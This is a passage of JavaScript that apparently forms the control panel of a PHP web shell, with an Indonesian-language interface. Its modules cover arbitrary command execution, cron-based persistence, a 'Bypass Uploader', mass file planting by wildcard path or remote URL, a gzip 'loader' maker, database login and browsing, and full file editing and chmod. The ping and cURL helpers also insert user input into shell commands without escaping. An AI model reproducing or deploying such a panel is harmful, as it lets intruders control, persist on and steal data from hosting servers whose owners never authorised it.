        window.location.replace(window.location.pathname + '?logout=1');
        return;
    }
    
    // Render UI based on action (all UI is client-side)
    switch(action) {
        case 'filemanager':
            renderFileManager();
            break;
        case 'mass':
            renderMassUploader();
            break;
        case 'gzip':
            renderGzipMaker();
            break;
        case 'multi_upload':
            renderMultiUpload();
            break;
        case 'cron':
            renderCronManager();
            break;
        case 'dbmanager':
            renderDbManager();
            break;
        case 'rawupload':
            renderRawUpload();
            break;
        case 'bypass':
            renderBypassUploader();
            break;
        case 'extract':
            renderExtractManager();
            break;
        case 'cmd':
            renderCommand();
            break;
        case 'db':
            renderDbCheck();
            break;
        case 'security':
            renderSecurityScan();
            break;
        case 'network':
            renderNetworkTools();
            break;
        case 'info':
            renderInfo();
            break;
        default:
            renderFileManager();
    }
}

// ========== AJAX Helper ==========
function ajaxPost(data, callback) {
    const formData = new FormData();
    for (let key in data) {
        formData.append(key, data[key]);
    }
    formData.append('ajax_action', data.ajax_action);
    
    const xhr = new XMLHttpRequest();
    xhr.open('POST', window.location.href, true);
    xhr.setRequestHeader('X-Requested-With', 'XMLHttpRequest');
    xhr.onload = function() {
        if (xhr.status === 200) {
            try {
                const response = JSON.parse(xhr.responseText);
                callback(response);
            } catch(e) {
                callback({status: 'error', message: 'Parse error: ' + e.message});
            }
        } else {
            callback({status: 'error', message: 'HTTP ' + xhr.status});
        }
    };
    xhr.onerror = function() {
        callback({status: 'error', message: 'Network error'});
    };
    xhr.send(formData);
}

// ========== FILE MANAGER ==========
function renderFileManager() {
    const mainContent = document.getElementById('mainContent');
    mainContent.innerHTML = `
        <div class="panel">
            <h2>šŸ“ File Manager</h2>
            <div class="breadcrumb" id="breadcrumb"></div>
            <div class="search-box" style="background:#111;padding:10px;margin:10px 0">
                <input type="text" id="searchInput" placeholder="šŸ” Cari..." style="width:300px">
                <button onclick="searchFiles()">Cari</button>
                <button onclick="refreshFileManager()">Refresh</button>
            </div>
            <div id="fileTable"></div>
            <hr>
            <div style="display:flex;gap:10px;flex-wrap:wrap">
                <div><h3>šŸ“„ Create File</h3><input type="text" id="newFileName" placeholder="filename.txt"> <button onclick="createFile()">Create</button></div>
                <div><h3>šŸ“ Create Folder</h3><input type="text" id="newFolderName" placeholder="foldername"> <button onclick="createFolder()">Create</button></div>
                <div><h3>šŸ“¤ Upload File</h3><form id="uploadForm" enctype="multipart/form-data"><input type="file" name="file" id="uploadFile"> <button type="button" onclick="uploadFile()">Upload</button></form></div>
            </div>
            <div id="fileManagerResult"></div>
        </div>
    `;
    refreshFileManager();
}

function refreshFileManager() {
    const search = document.getElementById('searchInput')?.value || '';
    ajaxPost({ajax_action: 'list_files', path: currentPath, search: search}, function(res) {
        if (res.status === 'success') {
            currentPath = res.cwd;
            renderBreadcrumb(res.cwd, res.parent);
            renderFileTable(res.files);
        } else {
            document.getElementById('fileTable').innerHTML = '<div class="error">Error loading files</div>';
        }
    });
}

function renderBreadcrumb(cwd, parent) {
    const parts = cwd.split('/').filter(p => p);
    let html = `<b>šŸ“ Path:</b> <a href="javascript:goToPath('/')">[root]</a> / `;
    let current = '';
    for (let part of parts) {
        current += '/' + part;
        html += `<a href="javascript:goToPath('${current}')">${part}</a> / `;
    }
    document.getElementById('breadcrumb').innerHTML = html;
}

function goToPath(path) {
    currentPath = path;
    refreshFileManager();
}

function renderFileTable(files) {
    let html = `<table style="width:100%">
        <tr style="background:#222">
            <th>Name</th><th>Size</th><th>Perms</th><th>Owner:Group</th><th>Modified</th><th>Actions</th>
        </tr>`;
    
    // Parent directory link
    if (currentPath !== '/') {
        html += `<tr><td colspan="6"><a href="javascript:goToPath('${currentPath.substring(0, currentPath.lastIndexOf('/')) || '/'}')">šŸ“ [..]</a></td></tr>`;
    }
    
    for (let file of files) {
        const icon = file.is_dir ? 'šŸ“' : 'šŸ“„';
        const size = file.size_formatted;
        
        html += `<tr>
            <td>${icon} ${file.is_dir ? `<a href="javascript:goToPath('${file.path}')">${escapeHtml(file.name)}</a>` : `<a href="javascript:viewFile('${file.path}')">${escapeHtml(file.name)}</a>`}</td>
            <td>${size}</td>
            <td>${file.perms}</td>
            <td>${escapeHtml(file.owner_group)}</td>
            <td>${file.modified}</td>
            <td>
                ${!file.is_dir ? `<button onclick="editFile('${file.path}')">Edit</button> ` : ''}
                <button onclick="deleteItem('${file.name}')">Del</button>
                <form style="display:inline" onsubmit="renameItem('${file.name}', this); return false">
                    <input type="text" name="newName" placeholder="rename" size="6" style="width:60px">
                    <button type="submit">Rename</button>
                </form>
                <form style="display:inline" onsubmit="chmodItem('${file.path}', this); return false">
                    <input type="text" name="perms" value="${file.perms}" size="3" style="width:40px">
                    <button type="submit">Chmod</button>
                </form>
                ${!file.is_dir && file.name.endsWith('.zip') ? `<button onclick="extractZip('${file.path}')">Extract</button> ` : ''}
            </td>
        </tr>`;
    }
    html += `</table>`;
    document.getElementById('fileTable').innerHTML = html;
}

function searchFiles() {
    refreshFileManager();
}

function createFile() {
    const filename = document.getElementById('newFileName').value;
    if (!filename) return alert('Masukkan nama file');
    ajaxPost({ajax_action: 'create_file', cwd: currentPath, filename: filename}, function(res) {
        showResult(res.message, res.status);
        if (res.status === 'success') refreshFileManager();
        document.getElementById('newFileName').value = '';
    });
}

function createFolder() {
    const foldername = document.getElementById('newFolderName').value;
    if (!foldername) return alert('Masukkan nama folder');
    ajaxPost({ajax_action: 'create_folder', cwd: currentPath, foldername: foldername}, function(res) {
        showResult(res.message, res.status);
        if (res.status === 'success') refreshFileManager();
        document.getElementById('newFolderName').value = '';
    });
}

function deleteItem(item) {
    if (!confirm(`Hapus ${item}?`)) return;
    ajaxPost({ajax_action: 'delete_item', cwd: currentPath, item: item}, function(res) {
        showResult(res.message, res.status);
        if (res.status === 'success') refreshFileManager();
    });
}

function renameItem(oldName, form) {
    const newName = form.newName.value;
    if (!newName) return alert('Masukkan nama baru');
    ajaxPost({ajax_action: 'rename_item', cwd: currentPath, old: oldName, new: newName}, function(res) {
        showResult(res.message, res.status);
        if (res.status === 'success') refreshFileManager();
        form.newName.value = '';
    });
}

function chmodItem(filePath, form) {
    const perms = form.perms.value;
    if (!perms) return;
    ajaxPost({ajax_action: 'chmod_item', file: filePath, perms: perms}, function(res) {
        showResult(res.message, res.status);
        if (res.status === 'success') refreshFileManager();
    });
}

function viewFile(filePath) {
    ajaxPost({ajax_action: 'get_file_content', file: filePath}, function(res) {
        if (res.status === 'success') {
            const win = window.open();
            win.document.write(`<pre style="background:#000;color:#0f0;padding:20px">${escapeHtml(res.content)}</pre>`);
        } else {
            alert(res.message);
        }
    });
}

function editFile(filePath) {
    ajaxPost({ajax_action: 'get_file_content', file: filePath}, function(res) {
        if (res.status === 'success') {
            currentFileContent = res.content;
            const mainContent = document.getElementById('mainContent');
            mainContent.innerHTML = `
                <div class="panel">
                    <h2>āœļø Editing: ${escapeHtml(filePath.split('/').pop())}</h2>
                    <textarea id="editorContent" style="width:100%;height:400px;background:#222;color:#0f0">${escapeHtml(res.content)}</textarea><br>
                    <button onclick="saveFileContent('${filePath}')">Save</button>
                    <button onclick="loadAction('filemanager')">Back</button>
                </div>
            `;
        } else {
            alert(res.message);
        }
    });
}

function saveFileContent(filePath) {
    const content = document.getElementById('editorContent').value;
    ajaxPost({ajax_action: 'save_file_content', file: filePath, content: content}, function(res) {
        showResult(res.message, res.status);
        if (res.status === 'success') loadAction('filemanager');
    });
}

function uploadFile() {
    const fileInput = document.getElementById('uploadFile');
    if (!fileInput.files.length) return alert('Pilih file');
    
    const formData = new FormData();
    formData.append('ajax_action', 'upload_file');
    formData.append('cwd', currentPath);
    formData.append('file', fileInput.files[0]);
    
    const xhr = new XMLHttpRequest();
    xhr.open('POST', window.location.href, true);
    xhr.setRequestHeader('X-Requested-With', 'XMLHttpRequest');
    xhr.onload = function() {
        if (xhr.status === 200) {
            try {
                const res = JSON.parse(xhr.responseText);
                showResult(res.message, res.status);
                if (res.status === 'success') refreshFileManager();
                fileInput.value = '';
            } catch(e) {
                alert('Error: ' + e.message);
            }
        } else {
            alert('Upload failed');
        }
    };
    xhr.send(formData);
}

function extractZip(zipFile) {
    if (!confirm('Extract ZIP file?')) return;
    ajaxPost({ajax_action: 'extract_zip', zip_file: zipFile, extract_to: currentPath}, function(res) {
        showResult(res.message, res.status);
        if (res.status === 'success') refreshFileManager();
    });
}

// ========== MASS UPLOADER ==========
function renderMassUploader() {
    const mainContent = document.getElementById('mainContent');
    mainContent.innerHTML = `
        <div class="panel">
            <h2>šŸ“¦ Mass Uploader</h2>
            <div style="background:#111;padding:15px;margin:10px 0">
                <h3>šŸ“ Directory Tujuan</h3>
                <input type="text" id="targetDir" value="${currentPath}" style="width:100%">
                <small>Bisa pakai wildcard * untuk multiple folder</small>
            </div>
            <div style="background:#111;padding:15px;margin:10px 0">
                <h3>āš™ļø Depth Setting</h3>
                <select id="depth">
                    <option value="0">Depth 0 - Langsung ke folder tujuan</option>
                    <option value="1">Depth 1 - Pertahankan 1 level folder</option>
                </select>
            </div>
            <div class="tab-buttons">
                <button class="tab-btn active" onclick="showMassTab('copy')">šŸ“‹ Copy File</button>
                <button class="tab-btn" onclick="showMassTab('url')">🌐 URL Download</button>
            </div>
            <div id="massTabCopy" class="tab-content active">
                <h3>šŸ“‹ Copy File dari Server</h3>
                <textarea id="fileList" style="width:100%;height:150px" placeholder="/home/user/file1.txt&#10;/var/www/*.php"></textarea>
                <button onclick="processMassAction('copy')">šŸš€ COPY FILES</button>
            </div>
            <div id="massTabUrl" class="tab-content">
                <h3>🌐 Download dari URL</h3>
                <textarea id="urlList" style="width:100%;height:150px" placeholder="https://example.com/file1.jpg&#10;https://example.com/file.php|custom.php"></textarea>
                <button onclick="processMassAction('url')">šŸš€ DOWNLOAD FILES</button>
            </div>
            <div id="massResult"></div>
        </div>
    `;
}

function showMassTab(tab) {
    const copyTab = document.getElementById('massTabCopy');
    const urlTab = document.getElementById('massTabUrl');
    const btns = document.querySelectorAll('.tab-btn');
    
    if (tab === 'copy') {
        copyTab.classList.add('active');
        urlTab.classList.remove('active');
        btns[0].classList.add('active');
        btns[1].classList.remove('active');
    } else {
        copyTab.classList.remove('active');
        urlTab.classList.add('active');
        btns[0].classList.remove('active');
        btns[1].classList.add('active');
    }
}

function processMassAction(action) {
    const targetDir = document.getElementById('targetDir').value;
    const depth = document.getElementById('depth').value;
    let data = {
        ajax_action: 'mass_upload',
        mass_action: action,
        target_dir: targetDir,
        depth: depth
    };
    
    if (action === 'copy') {
        data.file_list = document.getElementById('fileList').value;
        if (!data.file_list.trim()) return alert('Masukkan daftar file');
    } else {
        data.url_list = document.getElementById('urlList').value;
        if (!data.url_list.trim()) return alert('Masukkan daftar URL');
    }
    
    const resultDiv = document.getElementById('massResult');
    resultDiv.innerHTML = '<div class="loading"></div> Processing...';
    
    ajaxPost(data, function(res) {
        if (res.success !== undefined) {
            let html = `<div class="panel" style="margin-top:15px">
                <h3>šŸ“Š Hasil Mass Upload</h3>
                <p>āœ… Sukses: ${res.success} | āŒ Gagal: ${res.failed} | Total: ${res.total}</p>`;
            if (res.results && res.results.length) {
                html += `<details><summary>Detail</summary>
                    <table style="width:100%;font-size:12px">
                        <tr><th>Status</th><th>Sumber</th><th>Tujuan</th><th>Message</th></tr>`;
                for (let r of res.results) {
                    html += `<tr>
                        <td style="color:${r.status === 'success' ? '#0f0' : '#f00'}">${r.status === 'success' ? 'āœ…' : 'āŒ'}</td>
                        <td>${escapeHtml(r.source)}</td>
                        <td>${escapeHtml(r.target || '-')}</td>
                        <td>${escapeHtml(r.message || '')}</td>
                    </tr>`;
                }
                html += `</table></details>`;
            }
            html += `</div>`;
            resultDiv.innerHTML = html;
        } else {
            resultDiv.innerHTML = `<div class="error">Error: ${res.message || 'Unknown'}</div>`;
        }
    });
}

// ========== GZIP MAKER ==========
function renderGzipMaker() {
    const mainContent = document.getElementById('mainContent');
    mainContent.innerHTML = `
        <div class="panel">
            <h2>šŸ”Ø Gzip Maker</h2>
            <div style="background:#111;padding:15px;margin:10px 0">
                <label><strong>šŸ“Œ Source (path atau URL):</strong></label>
                <input type="text" id="gzipSource" style="width:100%" placeholder="/path/file.php or https://example.com/file.php">
            </div>
            <div style="background:#111;padding:15px;margin:10px 0">
                <label><strong>šŸ“› Gzip Name:</strong></label>
                <input type="text" id="gzipName" style="width:100%" placeholder="Kosong = random">
            </div>
            <div style="background:#111;padding:15px;margin:10px 0">
                <label><strong>šŸ”§ Use Loader?</strong></label><br>
                <label><input type="radio" name="useLoader" value="y" onclick="toggleLoaderDiv(true)"> Ya</label>
                <label><input type="radio" name="useLoader" value="n" checked onclick="toggleLoaderDiv(false)"> Tidak</label>
                <div id="loaderDiv" style="display:none;margin-top:10px">
                    <label>Loader Name:</label>
                    <input type="text" id="loaderName" style="width:100%" placeholder="Kosong = random">
                </div>
            </div>
            <button onclick="processGzip()">šŸ”Ø PROSES</button>
            <div id="gzipResult"></div>
        </div>
    `;
}

function toggleLoaderDiv(show) {
    document.getElementById('loaderDiv').style.display = show ? 'block' : 'none';
}

function processGzip() {
    const source = document.getElementById('gzipSource').value;
    if (!source) return alert('Masukkan source');
    
    const useLoader = document.querySelector('input[name="useLoader"]:checked').value;
    const loaderName = document.getElementById('loaderName')?.value || '';
    
    const resultDiv = document.getElementById('gzipResult');
    resultDiv.innerHTML = '<div class="loading"></div> Processing...';
    
    ajaxPost({
        ajax_action: 'make_gzip',
        source: source,
        gzip_name: document.getElementById('gzipName').value,
        use_loader: useLoader,
        loader_name: loaderName
    }, function(res) {
        if (res.status === 'success') {
            let html = `<div class="success" style="margin-top:15px">
                <h3>āœ… GZIP Created!</h3>
                <p>File: <a href="${res.gzip_file}">${res.gzip_file}</a> (${res.size})</p>`;
            if (res.loader_file) {
                html += `<p>šŸ“¦ Loader: <a href="${res.loader_file}">${res.loader_file}</a></p>`;
                html += `<details><summary>Preview</summary><pre>${escapeHtml(res.loader_content)}</pre></details>`;
            }
            html += `</div>`;
            resultDiv.innerHTML = html;
        } else {
            resultDiv.innerHTML = `<div class="error">āŒ ${res.message}</div>`;
        }
    });
}

// ========== MULTI UPLOAD ==========
function renderMultiUpload() {
    const mainContent = document.getElementById('mainContent');
    mainContent.innerHTML = `
        <div class="panel">
            <h2>šŸ“¤ Multi Upload</h2>
            <div style="background:#111;padding:15px;margin:10px 0">
                <label><strong>šŸ“ Target Directory:</strong></label>
                <input type="text" id="multiTargetDir" value="${currentPath}" style="width:100%">
            </div>
            <div class="dropzone" id="multiDropzone" onclick="document.getElementById('multiFileInput').click()">
                šŸ“‚ Drag & drop files here or click to select
            </div>
            <input type="file" id="multiFileInput" multiple style="display:none">
            <div id="multiFileList"></div>
            <button onclick="processMultiUpload()">šŸš€ Upload All</button>
            <div id="multiResult"></div>
        </div>
    `;
    
    const dropzone = document.getElementById('multiDropzone');
    const fileInput = document.getElementById('multiFileInput');
    
    dropzone.addEventListener('dragover', (e) => e.preventDefault());
    dropzone.addEventListener('drop', (e) => {
        e.preventDefault();
        fileInput.files = e.dataTransfer.files;
        updateMultiFileList();
    });
    fileInput.addEventListener('change', () => updateMultiFileList());
}

function updateMultiFileList() {
    const input = document.getElementById('multiFileInput');
    let html = '<h4>Selected:</h4>';
    for (let i = 0; i < input.files.length; i++) {
        html += `<div>${escapeHtml(input.files[i].name)}</div>`;
    }
    document.getElementById('multiFileList').innerHTML = html;
}

function processMultiUpload() {
    const fileInput = document.getElementById('multiFileInput');
    if (!fileInput.files.length) return alert('Pilih file');
    
    const targetDir = document.getElementById('multiTargetDir').value;
    const resultDiv = document.getElementById('multiResult');
    resultDiv.innerHTML = '<div class="loading"></div> Uploading...';
    
    let completed = 0;
    let success = 0;
    let failed = 0;
    const total = fileInput.files.length;
    
    for (let i = 0; i < total; i++) {
        const formData = new FormData();
        formData.append('ajax_action', 'upload_file');
        formData.append('cwd', targetDir);
        formData.append('file', fileInput.files[i]);
        
        const xhr = new XMLHttpRequest();
        xhr.open('POST', window.location.href, true);
        xhr.setRequestHeader('X-Requested-With', 'XMLHttpRequest');
        xhr.onload = function() {
            completed++;
            if (xhr.status === 200) {
                try {
                    const res = JSON.parse(xhr.responseText);
                    if (res.status === 'success') success++;
                    else failed++;
                } catch(e) { failed++; }
            } else { failed++; }
            
            resultDiv.innerHTML = `<div>Uploading: ${completed}/${total} | āœ… ${success} | āŒ ${failed}</div>`;
            if (completed === total) {
                resultDiv.innerHTML += `<div class="success">āœ… Upload complete: ${success} success, ${failed} failed</div>`;
                document.getElementById('multiFileInput').value = '';
                document.getElementById('multiFileList').innerHTML = '';
            }
        };
        xhr.send(formData);
    }
}

// ========== COMMAND ==========
function renderCommand() {
    const mainContent = document.getElementById('mainContent');
    mainContent.innerHTML = `
        <div class="panel">
            <h2>āŒØļø Command Execution</h2>
            <div style="display:flex;gap:10px">
                <input type="text" id="cmdInput" style="flex:1" placeholder="ls -la" onkeypress="if(event.keyCode===13) executeCommand()">
                <button onclick="executeCommand()">Execute</button>
            </div>
            <div id="cmdOutput" style="background:#111;padding:15px;margin-top:15px;border:1px solid #333;overflow:auto;max-height:400px"></div>
        </div>
    `;
}

function executeCommand() {
    const cmd = document.getElementById('cmdInput').value;
    if (!cmd) return;
    const outputDiv = document.getElementById('cmdOutput');
    outputDiv.innerHTML = '<div class="loading"></div> Executing...';
    ajaxPost({ajax_action: 'execute_cmd', cmd: cmd}, function(res) {
        if (res.status === 'success') {
            outputDiv.innerHTML = `<pre>${escapeHtml(res.output)}</pre>`;
        } else {
            outputDiv.innerHTML = `<div class="error">Error: ${res.message}</div>`;
        }
    });
}

// ========== RAW URL UPLOAD ==========
function renderRawUpload() {
    const mainContent = document.getElementById('mainContent');
    mainContent.innerHTML = `
        <div class="panel">
            <h2>šŸ“¦ Raw URL Upload</h2>
            <div style="background:#111;padding:15px;margin:10px 0">
                <label><strong>URL:</strong></label>
                <input type="text" id="rawUrl" style="width:100%" placeholder="https://example.com/file.zip">
            </div>
            <div style="background:#111;padding:15px;margin:10px 0">
                <label><strong>Save as (opsional):</strong></label>
                <input type="text" id="rawFilename" style="width:100%" placeholder="Kosong = auto detect">
            </div>
            <div style="background:#111;padding:15px;margin:10px 0">
                <label><strong>šŸ“ Save Path:</strong></label>
                <input type="text" id="rawSavePath" style="width:100%" value="${currentPath}">
            </div>
            <div style="background:#111;padding:15px;margin:10px 0">
                <label><strong>šŸ”„ Rewrite Mode:</strong></label>
                <select id="rawRewriteMode">
                    <option value="skip">Skip if exists</option>
                    <option value="backup">Backup then overwrite</option>
                    <option value="overwrite">Overwrite</option>
                </select>
            </div>
            <button onclick="processRawUpload()">šŸ“„ Download & Save</button>
            <div id="rawResult"></div>
        </div>
    `;
}

function processRawUpload() {
    const url = document.getElementById('rawUrl').value;
    if (!url) return alert('Masukkan URL');
    
    const resultDiv = document.getElementById('rawResult');
    resultDiv.innerHTML = '<div class="loading"></div> Downloading...';
    
    ajaxPost({
        ajax_action: 'raw_upload',
        raw_url: url,
        filename: document.getElementById('rawFilename').value,
        save_path: document.getElementById('rawSavePath').value,
        rewrite_mode: document.getElementById('rawRewriteMode').value
    }, function(res) {
        if (res.status === 'success') {
            resultDiv.innerHTML = `<div class="success">
                āœ… Downloaded: ${escapeHtml(res.file)} (${res.size})
            </div>`;
        } else {
            resultDiv.innerHTML = `<div class="error">āŒ ${res.message}</div>`;
        }
    });
}

// ========== BYPASS UPLOADER ==========
function renderBypassUploader() {
    const mainContent = document.getElementById('mainContent');
    mainContent.innerHTML = `
        <div class="panel">
            <h2>šŸ”“ Bypass Uploader</h2>
            <div class="dropzone" onclick="document.getElementById('bypassFileInput').click()">
                šŸ“‚ Click to select file
            </div>
            <input type="file" id="bypassFileInput" style="display:none">
            <button onclick="processBypassUpload()">šŸš€ Upload</button>
            <div id="bypassResult"></div>
        </div>
    `;
}

function processBypassUpload() {
    const fileInput = document.getElementById('bypassFileInput');
    if (!fileInput.files.length) return alert('Pilih file');
    
    const formData = new FormData();
    formData.append('ajax_action', 'upload_file');
    formData.append('cwd', currentPath);
    formData.append('file', fileInput.files[0]);
    
    const resultDiv = document.getElementById('bypassResult');
    resultDiv.innerHTML = '<div class="loading"></div> Uploading...';
    
    const xhr = new XMLHttpRequest();
    xhr.open('POST', window.location.href, true);
    xhr.setRequestHeader('X-Requested-With', 'XMLHttpRequest');
    xhr.onload = function() {
        if (xhr.status === 200) {
            try {
                const res = JSON.parse(xhr.responseText);
                resultDiv.innerHTML = `<div class="success">āœ… ${res.message}</div>`;
                fileInput.value = '';
            } catch(e) {
                resultDiv.innerHTML = `<div class="error">Error: ${e.message}</div>`;
            }
        } else {
            resultDiv.innerHTML = `<div class="error">Upload failed</div>`;
        }
    };
    xhr.send(formData);
}

// ========== EXTRACT MANAGER ==========
function renderExtractManager() {
    const mainContent = document.getElementById('mainContent');
    mainContent.innerHTML = `
        <div class="panel">
            <h2>šŸ“¦ Extract / Unzip Files</h2>
            <div style="background:#111;padding:15px;margin:10px 0">
                <label><strong>šŸ“¦ ZIP File:</strong></label>
                <input type="text" id="extractZipFile" style="width:100%" placeholder="/path/to/file.zip">
            </div>
            <div style="background:#111;padding:15px;margin:10px 0">
                <label><strong>šŸ“ Extract To:</strong></label>
                <input type="text" id="extractTo" style="width:100%" value="${currentPath}">
            </div>
            <button onclick="processExtract()">šŸ“¦ Extract Now</button>
            <div id="extractResult"></div>
        </div>
    `;
}

function processExtract() {
    const zipFile = document.getElementById('extractZipFile').value;
    const extractTo = document.getElementById('extractTo').value;
    if (!zipFile) return alert('Masukkan path ZIP file');
    
    const resultDiv = document.getElementById('extractResult');
    resultDiv.innerHTML = '<div class="loading"></div> Extracting...';
    
    ajaxPost({ajax_action: 'extract_zip', zip_file: zipFile, extract_to: extractTo}, function(res) {
        if (res.status === 'success') {
            resultDiv.innerHTML = `<div class="success">āœ… ${res.message}<br>šŸ“ Target: ${escapeHtml(res.target)}</div>`;
        } else {
            resultDiv.innerHTML = `<div class="error">āŒ ${res.message}</div>`;
        }
    });
}

// ========== CRON MANAGER ==========
function renderCronManager() {
    const mainContent = document.getElementById('mainContent');
    mainContent.innerHTML = `
        <div class="panel">
            <h2>ā° Cron Job Manager</h2>
            <div style="background:#111;padding:15px;margin:10px 0">
                <h3>āž• Add Cron</h3>
                <input type="text" id="cronSchedule" style="width:100%" placeholder="* * * * *" value="* * * * *">
                <input type="text" id="cronCommand" style="width:100%;margin-top:10px" placeholder="/usr/bin/php /path/script.php">
                <button onclick="addCron()" style="margin-top:10px">Add</button>
            </div>
            <div id="cronList"></div>
            <div class="info" style="margin-top:15px">
                <pre>* * * * * command\n│ │ │ │ │\n│ │ │ │ └─ Day of week (0-7)\n│ │ │ └─── Month (1-12)\n│ │ └───── Day of month (1-31)\n│ └─────── Hour (0-23)\n└───────── Minute (0-59)</pre>
            </div>
        </div>
    `;
    refreshCronList();
}

function refreshCronList() {
    ajaxPost({ajax_action: 'execute_cmd', cmd: 'crontab -l 2>&1'}, function(res) {
        const cronDiv = document.getElementById('cronList');
        if (res.status === 'success' && res.output && !res.output.includes('no crontab')) {
            const lines = res.output.split('\n');
            let html = '<h3>šŸ“‹ Current Crontab</h3><table style="width:100%"><tr><th>Schedule</th><th>Command</th><th>Action</th></tr>';
            for (let i = 0; i < lines.length; i++) {
                const line = lines[i].trim();
                if (line && !line.startsWith('#')) {
                    const parts = line.split(' ');
                    const schedule = parts.slice(0, 5).join(' ');
                    const command = parts.slice(5).join(' ');
                    html += `<tr>
                        <td><code>${escapeHtml(schedule)}</code></td>
                        <td><code>${escapeHtml(command)}</code></td>
                        <td><button onclick="deleteCronLine(${i})">Delete</button></td>
                    </tr>`;
                }
            }
            html += `</table>`;
            cronDiv.innerHTML = html;
        } else {
            cronDiv.innerHTML = '<div class="warning">No crontab for this user</div>';
        }
    });
}

function addCron() {
    const schedule = document.getElementById('cronSchedule').value;
    const command = document.getElementById('cronCommand').value;
    if (!command) return alert('Masukkan command');
    
    ajaxPost({ajax_action: 'execute_cmd', cmd: `(crontab -l 2>/dev/null; echo "${schedule} ${command}") | crontab -`}, function(res) {
        if (res.status === 'success') {
            alert('Cron added');
            refreshCronList();
            document.getElementById('cronCommand').value = '';
        } else {
            alert('Failed to add cron');
        }
    });
}

function deleteCronLine(lineNum) {
    if (!confirm('Delete this cron job?')) return;
    ajaxPost({ajax_action: 'execute_cmd', cmd: `crontab -l 2>/dev/null | sed '${lineNum+1}d' | crontab -`}, function(res) {
        alert('Cron deleted');
        refreshCronList();
    });
}

// ========== DB MANAGER ==========
function renderDbManager() {
    const mainContent = document.getElementById('mainContent');
    mainContent.innerHTML = `
        <div class="panel">
            <h2>šŸ—„ļø Database Manager</h2>
            <div style="background:#111;padding:15px;margin:10px 0">
                <h3>šŸ”Œ Koneksi Database</h3>
                <input type="text" id="dbHost" placeholder="Host" value="localhost" style="width:100%">
                <input type="text" id="dbUser" placeholder="User" value="root" style="width:100%;margin-top:10px">
                <input type="password" id="dbPass" placeholder="Password" style="width:100%;margin-top:10px">
                <input type="text" id="dbName" placeholder="Database" style="width:100%;margin-top:10px">
                <input type="text" id="dbPort" placeholder="Port" value="3306" style="width:100%;margin-top:10px">
                <button onclick="connectDb()" style="margin-top:10px">šŸ”Œ Connect</button>
            </div>
            <div id="dbResult"></div>
        </div>
    `;
}

function connectDb() {
    const resultDiv = document.getElementById('dbResult');
    resultDiv.innerHTML = '<div class="loading"></div> Connecting...';
    
    ajaxPost({
        ajax_action: 'db_connect',
        host: document.getElementById('dbHost').value,
        user: document.getElementById('dbUser').value,
        pass: document.getElementById('dbPass').value,
        name: document.getElementById('dbName').value,
        port: document.getElementById('dbPort').value
    }, function(res) {
        if (res.status === 'success') {
            resultDiv.innerHTML = `<div class="success">āœ… Connected to ${res.database}</div>`;
            // Show tables
            if (res.tables) {
                let html = '<h3>šŸ“‹ Tables</h3><table><tr><th>Table</th><th>Actions</th></tr>';
                for (let table of res.tables) {
                    html += `<tr><td>${escapeHtml(table)}</td>
                        <td><button onclick="browseTable('${table}')">Browse</button></td>
                    </tr>`;
                }
                html += `</table>`;
                resultDiv.innerHTML += html;
            }
        } else {
            resultDiv.innerHTML = `<div class="error">āŒ ${res.message}</div>`;
        }
    });
}

// ========== DB CHECK ==========
function renderDbCheck() {
    const mainContent = document.getElementById('mainContent');
    mainContent.innerHTML = `
        <div class="panel">
            <h2>šŸ—„ļø Database Check</h2>
            <div id="dbCheckResult"></div>
        </div>
    `;
    
    ajaxPost({ajax_action: 'db_check'}, function(res) {
        const div = document.getElementById('dbCheckResult');
        if (res.status === 'success') {
            let html = '<div class="success">';
            for (let item of res.info) {
                html += `<div>${item}</div>`;
            }
            html += '</div>';
            div.innerHTML = html;
        } else {
            div.innerHTML = `<div class="error">${res.message}</div>`;
        }
    });
}

// ========== SECURITY SCAN ==========
function renderSecurityScan() {
    const mainContent = document.getElementById('mainContent');
    mainContent.innerHTML = `
        <div class="panel">
            <h2>šŸ”’ Security Scan</h2>
            <div id="securityResult"></div>
        </div>
    `;
    
    ajaxPost({ajax_action: 'security_scan'}, function(res) {
        const div = document.getElementById('securityResult');
        if (res.status === 'success') {
            let html = '<pre>';
            for (let item of res.info) {
                html += item + '\n';
            }
            html += '</pre>';
            div.innerHTML = html;
        } else {
            div.innerHTML = `<div class="error">${res.message}</div>`;
        }
    });
}

// ========== NETWORK TOOLS ==========
function renderNetworkTools() {
    const mainContent = document.getElementById('mainContent');
    mainContent.innerHTML = `
        <div class="panel">
            <h2>🌐 Network Tools</h2>
            <div style="background:#111;padding:15px;margin:10px 0">
                <h3>Ping</h3>
                <div style="display:flex;gap:10px">
                    <input type="text" id="pingHost" style="flex:1" placeholder="google.com">
                    <button onclick="doPing()">Ping</button>
                </div>
            </div>
            <div style="background:#111;padding:15px;margin:10px 0">
                <h3>cURL</h3>
                <div style="display:flex;gap:10px">
                    <input type="text" id="curlUrl" style="flex:1" placeholder="https://example.com">
                    <button onclick="doCurl()">cURL</button>
                </div>
            </div>
            <div id="networkResult"></div>
        </div>
    `;
}

function doPing() {
    const host = document.getElementById('pingHost').value;
    if (!host) return;
    const resultDiv = document.getElementById('networkResult');
    resultDiv.innerHTML = '<div class="loading"></div> Pinging...';
    ajaxPost({ajax_action: 'execute_cmd', cmd: `ping -c 4 ${host} 2>&1`}, function(res) {
        if (res.status === 'success') {
            resultDiv.innerHTML = `<pre>${escapeHtml(res.output)}</pre>`;
        } else {
            resultDiv.innerHTML = `<div class="error">${res.message}</div>`;
        }
    });
}

function doCurl() {
    const url = document.getElementById('curlUrl').value;
    if (!url) return;
    const resultDiv = document.getElementById('networkResult');
    resultDiv.innerHTML = '<div class="loading"></div> Fetching...';
    ajaxPost({ajax_action: 'execute_cmd', cmd: `curl -I "${url}" 2>&1`}, function(res) {
        if (res.status === 'success') {
            resultDiv.innerHTML = `<pre>${escapeHtml(res.output)}</pre>`;
        } else {
            resultDiv.innerHTML = `<div class="error">${res.message}</div>`;
        }
    });
}

// ========== INFO ==========
function renderInfo() {
    const mainContent = document.getElementById('mainContent');
    mainContent.innerHTML = `
        <div class="panel">
            <h2>ā„¹ļø System Info</h2>
            <div id="infoResult"></div>
        </div>
    `;
    
    ajaxPost({ajax_action: 'get_info'}, function(res) {
        const div = document.getElementById('infoResult');
        if (res.status === 'success') {
            let html = '<table style="width:100%">';
            for (let [key, value] of Object.entries(res.info)) {
                html += `<tr><th style="width:200px">${key}</th><td>${escapeHtml(String(value))}</td></tr>`;
            }
            html += `</table>`;
            div.innerHTML = html;
        } else {
            div.innerHTML = `<div class="error">${res.message}</div>`;
        }
    });
}

// ========== UTILITIES ==========
function escapeHtml(str) {
    if (!str) return '';
    return str.replace(/[&<>]/g, function(m) {
